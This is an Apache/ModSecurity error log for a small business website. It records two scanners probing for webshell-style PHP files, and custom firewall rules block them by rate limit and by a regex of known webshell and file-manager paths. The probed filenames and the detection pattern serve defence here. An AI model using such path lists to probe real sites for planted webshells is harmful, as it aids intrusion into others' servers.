[Fri Apr 17 05:40:03.313194 2026] [:error] [pid 9151:tid 9177] [client 4.232.179.255:6989] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/222.php"] [unique_id "aeFXM8hTVuRPkua22vSaPgAAABA"]
[Fri Apr 17 05:40:04.817562 2026] [:error] [pid 9153:tid 9224] [client 4.232.179.255:6949] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/222.php"] [unique_id "aeFXNOMHGxkTZX3c45f7rAAAAIY"]
[Fri Apr 17 05:40:05.497660 2026] [:error] [pid 9153:tid 9241] [client 4.232.179.255:6915] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/222.php"] [unique_id "aeFXNeMHGxkTZX3c45f7sAAAAJc"]
[Fri Apr 17 05:40:06.018337 2026] [:error] [pid 9153:tid 9238] [client 4.232.179.255:7034] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/222.php"] [unique_id "aeFXNuMHGxkTZX3c45f7swAAAJQ"]
[Fri Apr 17 05:40:07.005308 2026] [:error] [pid 9153:tid 9223] [client 4.232.179.255:6855] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws57.php"] [unique_id "aeFXN-MHGxkTZX3c45f7ugAAAIU"]
[Fri Apr 17 05:40:07.807106 2026] [:error] [pid 9153:tid 9234] [client 4.232.179.255:7160] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws57.php"] [unique_id "aeFXN-MHGxkTZX3c45f7wAAAAJA"]
[Fri Apr 17 05:40:08.427471 2026] [:error] [pid 9263:tid 9276] [client 4.232.179.255:6980] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws57.php"] [unique_id "aeFXOBP68VyHNvj1e573cAAAAMs"]
[Fri Apr 17 05:40:09.043538 2026] [:error] [pid 51878:tid 51885] [client 4.232.179.255:6923] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws57.php"] [unique_id "aeFXOUnQhUtMbw9EsgZnZAAAAQU"]
[Fri Apr 17 05:40:09.583380 2026] [:error] [pid 9153:tid 9239] [client 4.232.179.255:7162] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/8573.php"] [unique_id "aeFXOeMHGxkTZX3c45f7zwAAAJU"]
[Fri Apr 17 05:40:10.271159 2026] [:error] [pid 9153:tid 9234] [client 4.232.179.255:6924] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/8573.php"] [unique_id "aeFXOuMHGxkTZX3c45f70wAAAJA"]
[Fri Apr 17 05:40:10.788565 2026] [:error] [pid 51878:tid 51890] [client 4.232.179.255:6986] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/8573.php"] [unique_id "aeFXOknQhUtMbw9EsgZnZwAAAQo"]
[Fri Apr 17 05:40:11.313361 2026] [:error] [pid 51878:tid 51895] [client 4.232.179.255:7023] File does not exist: /usr/local/apache/htdocs/suspended-page/8573.php
[Fri Apr 17 05:40:11.634716 2026] [:error] [pid 51878:tid 51891] [client 4.232.179.255:7023] File does not exist: /usr/local/apache/htdocs/suspended-page/ws66.php
[Fri Apr 17 05:40:11.895394 2026] [:error] [pid 51878:tid 51893] [client 4.232.179.255:7023] File does not exist: /usr/local/apache/htdocs/suspended-page/66.php
[Fri Apr 17 05:40:12.131281 2026] [:error] [pid 51878:tid 51892] [client 4.232.179.255:7023] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-p2r3q9c8k4.php
[Fri Apr 17 05:40:12.366348 2026] [:error] [pid 51878:tid 51903] [client 4.232.179.255:7023] File does not exist: /usr/local/apache/htdocs/suspended-page/ws88.php
[Fri Apr 17 05:40:12.601825 2026] [:error] [pid 51878:tid 51883] [client 4.232.179.255:7023] File does not exist: /usr/local/apache/htdocs/suspended-page/mode.php
[Fri Apr 17 05:40:12.915734 2026] [:error] [pid 51878:tid 51904] [client 4.232.179.255:7023] File does not exist: /usr/local/apache/htdocs/suspended-page/set.php
[Fri Apr 17 05:40:14.319069 2026] [:error] [pid 51878:tid 51904] [client 4.232.179.255:7023] File does not exist: /usr/local/apache/htdocs/suspended-page/hroxw.php
[Fri Apr 17 05:40:14.554086 2026] [:error] [pid 51878:tid 51890] [client 4.232.179.255:7023] File does not exist: /usr/local/apache/htdocs/suspended-page/ok.php
[Fri Apr 17 05:40:14.813245 2026] [:error] [pid 51878:tid 51886] [client 4.232.179.255:7023] File does not exist: /usr/local/apache/htdocs/suspended-page/zoo.php
[Fri Apr 17 05:40:15.048924 2026] [:error] [pid 51878:tid 51900] [client 4.232.179.255:7023] File does not exist: /usr/local/apache/htdocs/suspended-page/gaza.php
[Fri Apr 17 05:40:15.281781 2026] [:error] [pid 51878:tid 51885] [client 4.232.179.255:7023] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/retu11.PhP7"] [unique_id "aeFXP0nQhUtMbw9EsgZnigAAAQU"]
[Fri Apr 17 05:40:15.967424 2026] [:error] [pid 51878:tid 51895] [client 4.232.179.255:6863] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/retu11.PhP7"] [unique_id "aeFXP0nQhUtMbw9EsgZnkQAAAQ8"]
[Fri Apr 17 05:40:16.619719 2026] [:error] [pid 51878:tid 51884] [client 4.232.179.255:6857] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/retu11.PhP7"] [unique_id "aeFXQEnQhUtMbw9EsgZnlQAAAQQ"]
[Fri Apr 17 05:40:17.146588 2026] [:error] [pid 9263:tid 9268] [client 4.232.179.255:7017] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/retu11.PhP7"] [unique_id "aeFXQRP68VyHNvj1e573gwAAAMM"]
[Fri Apr 17 05:40:17.809211 2026] [:error] [pid 9263:tid 9280] [client 4.232.179.255:6978] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ioxi001.PhP7"] [unique_id "aeFXQRP68VyHNvj1e573hwAAAM8"]
[Fri Apr 17 05:40:18.281514 2026] [:error] [pid 51878:tid 51894] [client 4.232.179.255:7026] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ioxi001.PhP7"] [unique_id "aeFXQknQhUtMbw9EsgZnoQAAAQ4"]
[Fri Apr 17 05:40:18.817315 2026] [:error] [pid 9263:tid 9283] [client 4.232.179.255:6974] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ioxi001.PhP7"] [unique_id "aeFXQhP68VyHNvj1e573jAAAANI"]
[Fri Apr 17 05:40:19.419720 2026] [:error] [pid 51878:tid 51894] [client 4.232.179.255:6999] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ioxi001.PhP7"] [unique_id "aeFXQ0nQhUtMbw9EsgZnrQAAAQ4"]
[Fri Apr 17 05:40:19.906722 2026] [:error] [pid 9153:tid 9241] [client 4.232.179.255:6993] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mk.php"] [unique_id "aeFXQ-MHGxkTZX3c45f73QAAAJc"]
[Fri Apr 17 05:40:20.428019 2026] [:error] [pid 51878:tid 51896] [client 4.232.179.255:6864] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mk.php"] [unique_id "aeFXREnQhUtMbw9EsgZntgAAARA"]
[Fri Apr 17 05:40:20.998441 2026] [:error] [pid 51878:tid 51901] [client 4.232.179.255:6951] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mk.php"] [unique_id "aeFXREnQhUtMbw9EsgZnvAAAARU"]
[Fri Apr 17 05:40:21.555177 2026] [:error] [pid 51878:tid 51902] [client 4.232.179.255:6973] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mk.php"] [unique_id "aeFXRUnQhUtMbw9EsgZnwgAAARY"]
[Fri Apr 17 05:40:22.040954 2026] [:error] [pid 51878:tid 51901] [client 4.232.179.255:7080] [client 4.232.179.255] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "windfarmcoolants.com.au"] [uri "/fm.php"] [unique_id "aeFXRknQhUtMbw9EsgZnyQAAARU"]
[Fri Apr 17 07:54:38.586787 2026] [:error] [pid 34273:tid 34291] [client 172.213.155.173:58765] File does not exist: /usr/local/apache/htdocs/suspended-page/flower.php
[Fri Apr 17 07:54:38.823015 2026] [:error] [pid 34273:tid 34280] [client 172.213.155.173:58765] File does not exist: /usr/local/apache/htdocs/suspended-page/a7.php
[Fri Apr 17 07:54:39.059332 2026] [:error] [pid 34273:tid 34288] [client 172.213.155.173:58765] File does not exist: /usr/local/apache/htdocs/suspended-page/doc.php
[Fri Apr 17 07:54:39.307540 2026] [:error] [pid 34273:tid 34281] [client 172.213.155.173:58765] File does not exist: /usr/local/apache/htdocs/suspended-page/mifta.php
[Fri Apr 17 07:54:39.543591 2026] [:error] [pid 34273:tid 34296] [client 172.213.155.173:58765] File does not exist: /usr/local/apache/htdocs/suspended-page/Geforce.php
[Fri Apr 17 07:54:39.793174 2026] [:error] [pid 34273:tid 34287] [client 172.213.155.173:58765] File does not exist: /usr/local/apache/htdocs/suspended-page/packsin1.php
[Fri Apr 17 07:54:40.034333 2026] [:error] [pid 34273:tid 34289] [client 172.213.155.173:58765] File does not exist: /usr/local/apache/htdocs/suspended-page/xs.php
[Fri Apr 17 07:54:40.270421 2026] [:error] [pid 34273:tid 34277] [client 172.213.155.173:58765] File does not exist: /usr/local/apache/htdocs/suspended-page/son1.php
[Fri Apr 17 07:54:40.503091 2026] [:error] [pid 34273:tid 34285] [client 172.213.155.173:58765] [client 172.213.155.173] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/theme-compat/wp-login.php"] [unique_id "aeF2wGuQDW686mK3dgEoSAAAAYo"]
[Fri Apr 17 07:54:44.128729 2026] [:error] [pid 34273:tid 34275] [client 172.213.155.173:65231] File does not exist: /usr/local/apache/htdocs/suspended-page/aboute.php
[Fri Apr 17 07:54:44.364809 2026] [:error] [pid 34273:tid 34299] [client 172.213.155.173:65231] File does not exist: /usr/local/apache/htdocs/suspended-page/pp.php
[Fri Apr 17 07:54:44.619167 2026] [:error] [pid 34273:tid 34291] [client 172.213.155.173:65231] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/ng.php"] [unique_id "aeF2xGuQDW686mK3dgEoXQAAAZA"]
[Fri Apr 17 07:54:46.203071 2026] [:error] [pid 9152:tid 9207] [client 172.213.155.173:40442] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/ng.php"] [unique_id "aeF2xpJYca8I3TNCwIdQWAAAAFE"]
[Fri Apr 17 07:54:47.106962 2026] [:error] [pid 51878:tid 51891] [client 172.213.155.173:58778] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/ng.php"] [unique_id "aeF2x0nQhUtMbw9EsgbTKAAAAQs"]
[Fri Apr 17 07:54:47.844329 2026] [:error] [pid 34273:tid 34285] [client 172.213.155.173:33503] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/ng.php"] [unique_id "aeF2x2uQDW686mK3dgEoagAAAYo"]
[Fri Apr 17 07:54:48.925739 2026] [:error] [pid 34273:tid 34275] [client 172.213.155.173:33533] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/tiny2.php"] [unique_id "aeF2yGuQDW686mK3dgEoawAAAYA"]
[Fri Apr 17 07:54:50.091937 2026] [:error] [pid 34273:tid 34299] [client 172.213.155.173:20325] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/tiny2.php"] [unique_id "aeF2ymuQDW686mK3dgEobQAAAZg"]
[Fri Apr 17 07:54:51.167339 2026] [:error] [pid 34273:tid 34288] [client 172.213.155.173:20323] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/tiny2.php"] [unique_id "aeF2y2uQDW686mK3dgEobwAAAY0"]
[Fri Apr 17 07:54:52.296475 2026] [:error] [pid 9263:tid 9288] [client 172.213.155.173:20290] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/tiny2.php"] [unique_id "aeF2zBP68VyHNvj1e55IJwAAANc"]
[Fri Apr 17 07:54:53.616915 2026] [:error] [pid 25010:tid 25014] [client 172.213.155.173:65268] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/state.php"] [unique_id "aeF2zY-7kkf42RarqQ3wXgAAAUE"]
[Fri Apr 17 07:54:54.200315 2026] [:error] [pid 9152:tid 9190] [client 172.213.155.173:58780] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/state.php"] [unique_id "aeF2zpJYca8I3TNCwIdQYQAAAEA"]
[Fri Apr 17 07:54:55.384602 2026] [:error] [pid 34273:tid 34276] [client 172.213.155.173:40403] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/state.php"] [unique_id "aeF2z2uQDW686mK3dgEocQAAAYE"]
[Fri Apr 17 07:54:56.123879 2026] [:error] [pid 25010:tid 25025] [client 172.213.155.173:40419] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/state.php"] [unique_id "aeF20I-7kkf42RarqQ3wZAAAAUw"]
[Fri Apr 17 07:54:56.807832 2026] [:error] [pid 34273:tid 34297] [client 172.213.155.173:54866] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/2.php"] [unique_id "aeF20GuQDW686mK3dgEodgAAAZY"]
[Fri Apr 17 07:54:57.775804 2026] [:error] [pid 9152:tid 9202] [client 172.213.155.173:4962] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/2.php"] [unique_id "aeF20ZJYca8I3TNCwIdQfwAAAEw"]
[Fri Apr 17 07:54:58.410622 2026] [:error] [pid 34273:tid 34282] [client 172.213.155.173:40405] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/2.php"] [unique_id "aeF20muQDW686mK3dgEoeQAAAYc"]
[Fri Apr 17 07:54:59.509354 2026] [:error] [pid 9153:tid 9225] [client 172.213.155.173:65241] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/2.php"] [unique_id "aeF20-MHGxkTZX3c45dmIgAAAIc"]
[Fri Apr 17 07:55:00.438923 2026] [:error] [pid 34273:tid 34294] [client 172.213.155.173:20305] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wps.php"] [unique_id "aeF21GuQDW686mK3dgEofQAAAZM"]
[Fri Apr 17 07:55:01.740443 2026] [:error] [pid 34273:tid 34293] [client 172.213.155.173:50049] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wps.php"] [unique_id "aeF21WuQDW686mK3dgEofwAAAZI"]
[Fri Apr 17 07:55:02.685119 2026] [:error] [pid 34273:tid 34297] [client 172.213.155.173:4939] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wps.php"] [unique_id "aeF21muQDW686mK3dgEogwAAAZY"]
[Fri Apr 17 07:55:03.552887 2026] [:error] [pid 9151:tid 9172] [client 172.213.155.173:65242] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wps.php"] [unique_id "aeF218hTVuRPkua22vTPKQAAAAs"]
[Fri Apr 17 07:55:04.691754 2026] [:error] [pid 9152:tid 9190] [client 172.213.155.173:40443] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/ayk.php"] [unique_id "aeF22JJYca8I3TNCwIdQmQAAAEA"]
[Fri Apr 17 07:55:07.222947 2026] [:error] [pid 9153:tid 9229] [client 172.213.155.173:54871] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/ayk.php"] [unique_id "aeF22-MHGxkTZX3c45dmMwAAAIs"]
[Fri Apr 17 07:55:08.766089 2026] [:error] [pid 34273:tid 34297] [client 172.213.155.173:33520] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/ayk.php"] [unique_id "aeF23GuQDW686mK3dgEolQAAAZY"]
